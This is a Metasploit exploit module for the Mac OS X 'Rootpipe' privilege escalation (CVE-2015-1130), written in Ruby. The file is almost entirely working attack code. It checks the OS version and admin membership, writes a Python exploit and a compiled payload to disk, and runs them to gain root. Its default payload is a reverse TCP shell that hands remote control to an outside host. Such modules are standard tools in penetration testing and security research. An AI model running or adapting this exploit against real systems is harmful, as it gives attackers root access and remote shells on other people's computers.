Mac OS X Rootpipe Privilege Escalation

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Local  
  
Rank = GreatRanking  
  
include Msf::Post::OSX::System  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Mac OS X "Rootpipe" Privilege Escalation',  
'Description' => %q{  
This module exploits a hidden backdoor API in Apple's Admin framework on  
Mac OS X to escalate privileges to root. Dubbed "Rootpipe."  
  
Tested on Yosemite 10.10.2 and should work on previous versions.  
  
The patch for this issue was not backported to older releases.  
  
Note: you must run this exploit as an admin user to escalate to root.  
},  
'Author' => [  
'Emil Kvarnhammar', # Vulnerability discovery and PoC  
'joev', # Copy/paste monkey  
'wvu' # Meta copy/paste monkey  
],  
'References' => [  
['CVE', '2015-1130'],  
['OSVDB', '114114'],  
['EDB', '36692'],  
['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']  
],  
'DisclosureDate' => 'Apr 9 2015',  
'License' => MSF_LICENSE,  
'Platform' => 'osx',  
'Arch' => ARCH_X86_64,  
'SessionTypes' => ['shell'],  
'Targets' => [  
['Mac OS X 10.9-10.10.2', {}]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'osx/x64/shell_reverse_tcp',  
'CMD' => '/bin/zsh'  
}  
))  
  
register_options([  
OptString.new('PYTHON', [true, 'Python executable', '/usr/bin/python']),  
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])  
])  
end  
  
def check  
(ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe  
end  
  
def exploit  
print_status("Writing exploit to `#{exploit_file}'")  
write_file(exploit_file, python_exploit)  
register_file_for_cleanup(exploit_file)  
  
print_status("Writing payload to `#{payload_file}'")  
write_file(payload_file, binary_payload)  
register_file_for_cleanup(payload_file)  
  
print_status('Executing exploit...')  
cmd_exec(sploit)  
print_status('Executing payload...')  
cmd_exec(payload_file)  
end  
  
def ver?  
Gem::Version.new(get_sysinfo['ProductVersion']).between?(  
Gem::Version.new('10.9'), Gem::Version.new('10.10.2')  
)  
end  
  
def admin?  
cmd_exec('groups | grep -wq admin && echo true') == 'true'  
end  
  
def sploit  
"#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"  
end  
  
def python_exploit  
File.read(File.join(  
Msf::Config.data_directory, 'exploits', 'CVE-2015-1130', 'exploit.py'  
))  
end  
  
def binary_payload  
Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)  
end  
  
def exploit_file  
@exploit_file ||=  
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"  
end  
  
def payload_file  
@payload_file ||=  
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"  
end  
  
end  
`